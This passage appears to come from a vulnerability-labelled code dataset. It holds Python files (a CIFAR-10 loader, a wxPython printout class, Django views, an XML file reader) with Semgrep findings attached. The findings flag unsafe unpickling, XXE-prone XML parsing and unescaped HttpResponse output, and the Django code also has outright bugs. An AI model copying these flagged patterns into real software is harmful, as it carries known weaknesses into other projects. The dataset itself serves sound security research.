true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-79"
] | [
"rules.python.django.security.audit.xss.direct-use-of-httpresponse"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
17
] | [
17
] | [
16
] | [
69
] | [
"A07:2017 - Cross-Site Scripting (XSS)"
] | [
"Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | utils.py | /passbook/utils.py | timtan/django-passbook | MIT | |
2024-11-18T19:29:53.515469+00:00 | 1,557,818,090,000 | e77df9a09ab362010acbbe7f4e2335c81e2dab2c | 3 | {
"blob_id": "e77df9a09ab362010acbbe7f4e2335c81e2dab2c",
"branch_name": "refs/heads/master",
"committer_date": 1557818090000,
"content_id": "96fceba8c75065b8e395fe6c61556d620d5611fe",
"detected_licenses": [
"MIT"
],
"directory_id": "b55868512e9bb81dbb69f5a6a9f6178f860dc241",
"extension": "py",
"filename": "cifar10.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4745,
"license": "MIT",
"license_type": "permissive",
"path": "/store/cifar10.py",
"provenance": "stack-edu-0054.json.gz:580413",
"repo_name": "mengwanguc/one_access",
"revision_date": 1557818090000,
"revision_id": "928788a8729770c665cb94db6891dfaf4f32d1fc",
"snapshot_id": "558c2f39f434f9d8d480eff9d83b506c923ee528",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/mengwanguc/one_access/928788a8729770c665cb94db6891dfaf4f32d1fc/store/cifar10.py",
"visit_date": "2023-08-17T12:38:46.328043"
} | 2.578125 | stackv2 | from pathlib import Path
from sampling.sample_creator import SampleCreator
from store.memory_hierarchy import StorageAttributes, StorageComponents
from store.store import DataStore, Metadata, MetadataField
import numpy as np
import os
import pickle
class Cifar10(DataStore):
def __init__(self, **kwargs):
super(Cifar10, self).__init__(**kwargs)
self.dataset_name = "Cifar-10"
self.metadata = Metadata(self).load()
train_metadata = self.metadata.get(self.TRAIN_FOLDER)
if train_metadata:
self.key_size = train_metadata.get(MetadataField.KEY_SIZE)
self.value_size = train_metadata.get(MetadataField.VALUE_SIZE)
else:
self.key_size = self.value_size = None
def count_num_points(self):
self.num_train_points = 50000
self.num_test_points = 10000
def generate_IR(self):
data_folder_path = self.get_data_folder_path()
if not Path(data_folder_path).exists():
print("Creating directory(s)", data_folder_path)
Path(data_folder_path).mkdir(parents=True, exist_ok=True)
# Create train and test directories
train_folder_path = data_folder_path + '/' + self.TRAIN_FOLDER
test_folder_path = data_folder_path + '/' + self.TEST_FOLDER
for path in [train_folder_path, test_folder_path]:
if not Path(path).exists():
print("Creating directory", path)
Path(path).mkdir(parents=True, exist_ok=True)
# Create the train data file
train_file_path = train_folder_path + '/' + self.DATA_FILE.format(0)
if Path(train_file_path).exists():
msg = "File " + train_file_path + "exists. "
if self.delete_existing:
msg += "Deleting it."
print(msg)
os.remove(train_file_path)
else:
msg += "Skipping."
print(msg)
return
# Generate train dataset
f_train = Path(train_file_path).open('ab')
for root, sub_dirs, files in os.walk(self.input_data_folder):
for filename in files:
if "data_batch" not in filename:
continue
full_path = self.input_data_folder +'/'+ filename
nparr = self.read_cifar_data_file(full_path)
np.save(f_train, nparr)
# Generate test dataset
test_file_path = test_folder_path + '/' + self.DATA_FILE.format(0)
f_test = Path(test_file_path).open('ab')
test_data_file = self.input_data_folder + "/test_batch"
nparr = self.read_cifar_data_file(test_data_file)
np.save(f_test, nparr)
# Create metadata for train and test folders
self.write_metadata()
def read_cifar_data_file(self, filename):
f = open(filename, 'rb')
p = pickle.load(f, encoding='bytes')
data = np.array(p.get(b'data'))
labels = np.array(p.get(b'labels'))
data_points= []
for data_point, label in zip(data,labels):
data_points.append([data_point, label])
# Assign key and value size, if not already assigned
if not self.key_size:
self.key_size = 4 # bytes
# value size + 1 (for label)
self.value_size = (len(data_points[0][0]) + 1)*4 #bytes
return np.array(data_points)
def transform_point(self, value):
# assert(type(value) == list)
value[0] = value[0].reshape(3, 32, 32)
return value[0], value[1]
def write_metadata(self):
metadata_dict = {}
train_metadata = {
MetadataField.KEY_SIZE: self.key_size,
MetadataField.VALUE_SIZE: self.value_size,
MetadataField.FILES: {
self.DATA_FILE.format('0'): {
MetadataField.KV_COUNT: 50000,
MetadataField.CHUNK_COUNT: 5,
}
}
}
metadata_dict[self.TRAIN_FOLDER] = train_metadata
test_metadata = {
MetadataField.KEY_SIZE: self.key_size,
MetadataField.VALUE_SIZE: self.value_size,
MetadataField.FILES: {
self.DATA_FILE.format('0'): {
MetadataField.KV_COUNT: 10000,
MetadataField.CHUNK_COUNT: 1,
}
}
}
metadata_dict[self.TEST_FOLDER] = test_metadata
metadata = Metadata(self)
metadata.store(metadata_dict)
self.metadata = metadata.load()
def get_data_folder_path(self):
return self.mem_config.get(StorageComponents.HDD)\
.get(StorageAttributes.ONE_ACCESS_DIR) + '/' + self.dataset_name
| 127 | 36.36 | 76 | 17 | 1,023 | python | [{"finding_id": "semgrep_rules.python.lang.best-practice.open-never-closed_7a2a6f3d2e1d04b1_fc2902fe", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.open-never-closed", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "file object opened without corresponding close", "remediation": "", "location": {"file_path": "unknown", "line_start": 74, "line_end": 74, "column_start": 9, "column_end": 33, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.open-never-closed", "path": "/tmp/tmppq52ww6s/7a2a6f3d2e1d04b1.py", "start": {"line": 74, "col": 9, "offset": 2857}, "end": {"line": 74, "col": 33, "offset": 2881}, "extra": {"message": "file object opened without corresponding close", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_7a2a6f3d2e1d04b1_cb6fabbd", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 75, "line_end": 75, "column_start": 13, "column_end": 45, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmppq52ww6s/7a2a6f3d2e1d04b1.py", "start": {"line": 75, "col": 13, "offset": 2894}, "end": {"line": 75, "col": 45, "offset": 2926}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
75
] | [
75
] | [
13
] | [
45
] | [
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | cifar10.py | /store/cifar10.py | mengwanguc/one_access | MIT | |
2024-11-18T19:29:54.948284+00:00 | 1,506,882,550,000 | 9f2c68a062497997fd09f633f68dfe65f95c8487 | 3 | {
"blob_id": "9f2c68a062497997fd09f633f68dfe65f95c8487",
"branch_name": "refs/heads/master",
"committer_date": 1506882550000,
"content_id": "58654d071ba67274430b067cc259d7f85d075c68",
"detected_licenses": [
"MIT"
],
"directory_id": "e558e22c0ea7396da90a087c31acb87e7a7af511",
"extension": "py",
"filename": "printout.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2033,
"license": "MIT",
"license_type": "permissive",
"path": "/page_designer/template_designer/code/printing/printout.py",
"provenance": "stack-edu-0054.json.gz:580432",
"repo_name": "s0ap/tex",
"revision_date": 1506882550000,
"revision_id": "7981ae2e5984221925f0ff94da88cfe03f8f92fc",
"snapshot_id": "17fac533e30a111093601c22fc048976b9f3e5c3",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/s0ap/tex/7981ae2e5984221925f0ff94da88cfe03f8f92fc/page_designer/template_designer/code/printing/printout.py",
"visit_date": "2022-03-18T05:41:07.029548"
} | 2.65625 | stackv2 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import wx
from drawdata import DrawData
import xml.etree.ElementTree as ET
class Printout(wx.Printout):
def __init__(self, parent, *args, **kwargs):
wx.Printout.__init__(self, *args, **kwargs)
self.drawData = DrawData(parent)
def OnPreparePrinting(self):
dc = self.GetDC()
self.numPages = self.drawData.totalPages()
return True
def OnBeginPrinting(self):
return True
def OnBeginDocument(self, startPage, endPage):
"""
startPage and endPage are integer values,
describing the start and end page of the document to print
"""
return super(Printout, self).OnBeginDocument(startPage, endPage)
def OnPrintPage(self, pageNum):
"""
pageNum is an integer value, describing the number of the page to print
"""
#Enter Drawing commands here, dc is instance of wx.PostScriptDC or wx.MemoryDC (in preview mode)
dc = self.GetDC()
self.calculateScale(dc)
pageData = self.drawData.getPageData(pageNum)
self.drawData.drawPageData(pageData, dc, self.logUnits)
return True
def OnEndDocument(self):
return super(Printout, self).OnEndDocument()
def OnEndPrinting(self):
return True
def HasPage(self, pageNum):
return pageNum <= self.numPages
def calculateScale(self, dc):
ppiPrinterX, ppiPrinterY = self.GetPPIPrinter()
ppiScreenX, ppiScreenY = self.GetPPIScreen()
logScale = float(ppiPrinterX) / float(ppiScreenX)
pw, ph = self.GetPageSizePixels()
dw, dh = dc.GetSize()
scale = logScale * float(dw)/float(pw)
dc.SetUserScale(scale, scale)
self.logUnits = {}
self.logUnits["mm"] = float(ppiPrinterX) / (logScale * 25.4)
self.logUnits["cm"] = float(ppiPrinterX) / (logScale * 2.54)
self.logUnits["inch"] = float(ppiPrinterX) / (logScale)
self.logUnits["point"] = float(ppiPrinterX)
| 61 | 32.33 | 104 | 12 | 509 | python | [{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_a1f90abba2688807_097270f2", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 8, "line_end": 8, "column_start": 1, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmppq52ww6s/a1f90abba2688807.py", "start": {"line": 8, "col": 1, "offset": 89}, "end": {"line": 8, "col": 35, "offset": 123}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-611"
] | [
"rules.python.lang.security.use-defused-xml"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
8
] | [
8
] | [
1
] | [
35
] | [
"A04:2017 - XML External Entities (XXE)"
] | [
"The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service."
] | [
7.5
] | [
"LOW"
] | [
"MEDIUM"
] | printout.py | /page_designer/template_designer/code/printing/printout.py | s0ap/tex | MIT | |
2024-11-18T19:44:13.322814+00:00 | 1,501,788,482,000 | b9c4023d7232488213c0794716ec40c9f2449236 | 2 | {
"blob_id": "b9c4023d7232488213c0794716ec40c9f2449236",
"branch_name": "refs/heads/master",
"committer_date": 1501788482000,
"content_id": "899cf240dd0d15f49876863a7c03fa75c51b31f4",
"detected_licenses": [
"MIT"
],
"directory_id": "8e423d9d197b7c1e30ef85b38b7a033a34b88fce",
"extension": "py",
"filename": "views.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 98913096,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 8430,
"license": "MIT",
"license_type": "permissive",
"path": "/main/views.py",
"provenance": "stack-edu-0054.json.gz:580457",
"repo_name": "DenysGurin/DB2",
"revision_date": 1501788482000,
"revision_id": "e3bac7d7c4abbfa0a3e72a2d8ccdf4dbe3342cc2",
"snapshot_id": "6702ab69e26985916496df2f6dec61099c15328b",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/DenysGurin/DB2/e3bac7d7c4abbfa0a3e72a2d8ccdf4dbe3342cc2/main/views.py",
"visit_date": "2021-01-01T20:40:51.106659"
} | 2.40625 | stackv2 | from django.conf import settings
from django.shortcuts import render, redirect, get_object_or_404
from django.views import View
from django.contrib.auth.mixins import LoginRequiredMixin
from django.http import HttpResponse, Http404
from .models import Post, Like, Comment
from authorization.models import CustomUser
from .forms import SearchForm, CommentForm
from django.core.paginator import Paginator, EmptyPage, PageNotAnInteger
from django.db.models import Q
import re
class Search(object):
@staticmethod
def sortByCountryOrCity(quary_set, complex_q):
return quary_set.filter(complex_q)
@staticmethod
def createComplexQ(search_str, markers):
list_to_search = re.findall(r"(\w+)", search_str)
complex_q = Q()
for item in list_to_search:
for marker in markers:
complex_q |= Q(**{marker: item})
return complex_q
class PostActions(object):
@staticmethod
def likePost(request):
post_id = int(request.POST['post_id'])
user = CustomUser.objects.get(user=request.user)
post = Post.objects.get(id=post_id)
print(
post_id,
user,
post,
)
try:
like = post.likes.get(user=user)
print(like)
like.delete()
except Like.DoesNotExist:
post.likes.add(Like.objects.create(user=user))
post.save()
finally:
return post
@staticmethod
def commentPost(request, post_id):
post = Post.objects.get(id=post_id)
comment_form = CommentForm(request.POST)
if comment_form.is_valid():
comment_data = comment_form.cleaned_data
comment_data["user"] = CustomUser.objects.get(user=request.user)
comment = Comment.objects.create(**comment_data)
post.comments.add(comment)
post.save()
return post
class LoginRequiredView(LoginRequiredMixin, View):
login_url = settings.LOGIN_URL
redirect_field_name = settings.LOGIN_URL
# class MainPagination(object):
# @staticmethod
# def make_pagination(request, some_list=None, num_items=2):
# paginator = Paginator(some_list, num_items)
# request = getattr(request, request.method)
# page = request.get('page_number')
# pages_list = [p for p in paginator.page_range]
# print(pages_list)
# try:
# pags = paginator.page(page)
# except PageNotAnInteger:
# # If page is not an integer, deliver first page.
# pags = paginator.page(1)
# except EmptyPage:
# # If page is out of range (e.g. 9999), deliver last page of results.
# pags = paginator.page(paginator.num_items)
# return pags, pages_list
class Main(LoginRequiredView):
# def get(self, request):
# context = {}
# print(request.user)
# search_form = SearchForm()
# context['search_form'] = search_form
# posts = Post.objects.all()
# page = request.GET.get('pagination_page')
# context['post_pags'], context['post_pages_list'] = MainPagination.make_pagination(request, list(posts), 2)
# return render(request, "main.html", context)
def get(self, request):
context = {}
print(request.user)
search_form = SearchForm()
context['search_form'] = search_form
posts = Post.objects.all()
pagination_page = request.GET.get('pagination_page')
if pagination_page:
pagination_page = int(pagination_page)
paginator = Paginator(posts, 2)
try:
posts_page = paginator.page(pagination_page)
except PageNotAnInteger:
posts_page = paginator.page(1)
except EmptyPage:
posts_page = paginator.page(paginator.num_items)
context['posts_page'] = posts_page
context['page_range'] = paginator.page_range
return render(request, "main.html", context)
def post(self, request):
# print(request.POST.get("submit") == "pagination_page")
if request.POST.get("submit") == "search":
search_form = SearchForm(request.POST)
if search_form.is_valid():
search_data = search_form.cleaned_data
return redirect("/search/%s/"%search_data["search"].replace(",","+").replace(" ",""))
if request.is_ajax():
print("is_ajax")
post = PostActions.likePost(request)
return HttpResponse("%s like"%post.likes.count())
class SearchPage(LoginRequiredView):
def get(self, request, search_str):
context = {}
# search_str = request.GET.get('search')
# print(search_str)
print(re.findall(r"(\w+)", search_str))
complex_q = Search.createComplexQ(search_str, ["country", "city"])
posts = Post.objects.all()
posts = Search.sortByCountryOrCity(posts, complex_q)
search_form = SearchForm()
context['search_form'] = search_form
# posts = Post.objects.all()
pagination_page = request.GET.get('pagination_page')
if pagination_page:
pagination_page = int(pagination_page)
paginator = Paginator(posts, 2)
try:
posts_page = paginator.page(pagination_page)
except PageNotAnInteger:
posts_page = paginator.page(1)
except EmptyPage:
posts_page = paginator.page(paginator.num_items)
context['posts_page'] = posts_page
context['page_range'] = paginator.page_range
context['search_str'] = search_str
return render(request, "search.html", context)
def post(self, request, search_str):
if request.POST.get("submit") == "search":
search_form = SearchForm(request.POST)
if search_form.is_valid():
search_data = search_form.cleaned_data
return redirect("/search/%s/"%search_data["search"].replace(",","+").replace(" ",""))
if request.is_ajax():
post = PostActions.likePost(request)
return HttpResponse("%s like"%post.likes.count())
class PostPage(LoginRequiredView):
def get(self, request, post_id):
context = {}
comment_form = CommentForm()
context["comment_form"] = comment_form
post = get_object_or_404(Post, id=post_id)
context["post"] = post
comments = post.comments.all().order_by("-id")
context["comments"] = comments[:3]
if comments.count() > 3:
context["more"] = True
return render(request, "post_page.html", context)
def post(self, request, post_id):
context = {}
if request.POST.get("submit") == "comment":
post = PostActions.commentPost(request, post_id)
context["post"] = post
return redirect("/post_page/%s/"%post_id)
elif request.is_ajax():
num = int(request.POST['num'])
num += 2
post_id = int(request.POST['post_id'])
print(num)
post = get_object_or_404(Post, id=post_id)
context["post"] = post
comments = post.comments.all().order_by("-id")
context["comments"] = comments[:num]
if comments.count() > num:
context["more"] = True
return render(request, "comments_ajax.html", context)
else:
return Http404
# print("dsadassaddssa",request.is_ajax())
# if request.is_ajax() and request.POST["flag"] == "add_comment":
# context = {}
# # post_id = request.POST["post_id"]
# print(post_id)
# post = PostActions.commentPost(request, int(post_id))
# context["post"] = post
# print(post)
# return render(request, "comments_ajax.html", context)
def more_comments(request):
if request.is_ajax():
num = request.POST['num']
print(num)
reviews = Review.objects.all().order_by("-id")[:int(num)]
return render(request, "reviews.html", {"reviews": reviews})
else:
return Http404 | 282 | 28.9 | 116 | 18 | 1,774 | python | [{"finding_id": "semgrep_rules.python.correctness.suppressed-exception-handling-finally-break_9158987b308583ee_245be212", "tool_name": "semgrep", "rule_id": "rules.python.correctness.suppressed-exception-handling-finally-break", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "Having a `break`, `continue`, or `return` in a `finally` block will cause strange behaviors, like exceptions not being caught.", "remediation": "", "location": {"file_path": "unknown", "line_start": 46, "line_end": 56, "column_start": 9, "column_end": 24, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python.org/3/reference/compound_stmts.html#the-try-statement", "title": null}, {"url": "https://www.python.org/dev/peps/pep-0601/#rejection-note", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.correctness.suppressed-exception-handling-finally-break", "path": "/tmp/tmppq52ww6s/9158987b308583ee.py", "start": {"line": 46, "col": 9, "offset": 1246}, "end": {"line": 56, "col": 24, "offset": 1505}, "extra": {"message": "Having a `break`, `continue`, or `return` in a `finally` block will cause strange behaviors, like exceptions not being caught.", "metadata": {"references": ["https://docs.python.org/3/reference/compound_stmts.html#the-try-statement", "https://www.python.org/dev/peps/pep-0601/#rejection-note"], "category": "correctness", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.django.security.audit.xss.direct-use-of-httpresponse_9158987b308583ee_8d05f670", "tool_name": "semgrep", "rule_id": "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.", "remediation": "", "location": {"file_path": "unknown", "line_start": 162, "line_end": 162, "column_start": 20, "column_end": 62, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render", "title": null}, {"url": "https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "path": "/tmp/tmppq52ww6s/9158987b308583ee.py", "start": {"line": 162, "col": 20, "offset": 4691}, "end": {"line": 162, "col": 62, "offset": 4733}, "extra": {"message": "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render", "https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render"], "category": "security", "technology": ["django"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.django.security.audit.xss.direct-use-of-httpresponse_9158987b308583ee_ae006e66", "tool_name": "semgrep", "rule_id": "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.", "remediation": "", "location": {"file_path": "unknown", "line_start": 213, "line_end": 213, "column_start": 20, "column_end": 62, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render", "title": null}, {"url": "https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "path": "/tmp/tmppq52ww6s/9158987b308583ee.py", "start": {"line": 213, "col": 20, "offset": 6330}, "end": {"line": 213, "col": 62, "offset": 6372}, "extra": {"message": "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render", "https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render"], "category": "security", "technology": ["django"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 3 | true | [
"CWE-79",
"CWE-79"
] | [
"rules.python.django.security.audit.xss.direct-use-of-httpresponse",
"rules.python.django.security.audit.xss.direct-use-of-httpresponse"
] | [
"security",
"security"
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | [
162,
213
] | [
162,
213
] | [
20,
20
] | [
62,
62
] | [
"A07:2017 - Cross-Site Scripting (XSS)",
"A07:2017 - Cross-Site Scripting (XSS)"
] | [
"Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.",
"Detected data rendered directly to the end user via 'HttpRes... | [
5,
5
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | views.py | /main/views.py | DenysGurin/DB2 | MIT | |
2024-11-18T19:44:13.572088+00:00 | 1,507,244,120,000 | 304427f347285056d77a2ab044df2a27085dcc2a | 3 | {
"blob_id": "304427f347285056d77a2ab044df2a27085dcc2a",
"branch_name": "refs/heads/master",
"committer_date": 1507244120000,
"content_id": "448d8659f5aa792889c4e50bbd65fa6c0a9d2e20",
"detected_licenses": [
"MIT"
],
"directory_id": "096ebd6803bc03fa2290bf07f1114970936e1f9e",
"extension": "py",
"filename": "anasysio.py",
"fork_events_count": 3,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 98692561,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2573,
"license": "MIT",
"license_type": "permissive",
"path": "/anasyspythontools/anasysio.py",
"provenance": "stack-edu-0054.json.gz:580461",
"repo_name": "AnasysInstruments/anasys-python-tools",
"revision_date": 1507244120000,
"revision_id": "50c21711c742d3201a72f9eab4986317b8590095",
"snapshot_id": "cf19c306c92ac4bc18ba234839b53bec243ea795",
"src_encoding": "UTF-8",
"star_events_count": 3,
"url": "https://raw.githubusercontent.com/AnasysInstruments/anasys-python-tools/50c21711c742d3201a72f9eab4986317b8590095/anasyspythontools/anasysio.py",
"visit_date": "2021-07-08T06:55:08.452840"
} | 2.6875 | stackv2 | # -*- encoding: utf-8 -*-
#
# io.py
#
# Copyright 2017 Cody Schindler <cschindler@anasysinstruments.com>
#
# This program is the property of Anasys Instruments, and may not be
# redistributed or modified without explict permission of the author.
from . import anasysdoc
import xml.etree.ElementTree as ET #for parsing XML
import gzip #for unzipping .axz files
import os
class AnasysFileReader():
"""A class for reading Anasys file data"""
def __init__(self, f_name):
self._f_types = ['.axd', '.axz', '.irb']
# ET.register_namespace('xsd', "http://www.w3.org/2001/XMLSchema")
self._doc = self._get_etree(f_name)
def _get_extension(self, _f_path):
"""Returns the extension of a file, given the file path"""
ext = os.path.splitext(_f_path)[1].lower()
if ext not in self._f_types:
raise ValueError("File type must be .axz, .axd, or .irb")
return ext
def _check_path(self, _f_path):
"""Checks for errors with file existance and type"""
if not os.path.isfile(_f_path):
raise FileNotFoundError()
def _get_etree(self, f_name):
"""Main function for reading in data from axz or axd files and returns a top-level etree object"""
#get complete file path
self._f_path = os.path.abspath(f_name)
#check that file is kosher
self._check_path(self._f_path)
#get the file extension
ext = self._get_extension(self._f_path)
#get the xml data from axz or axd
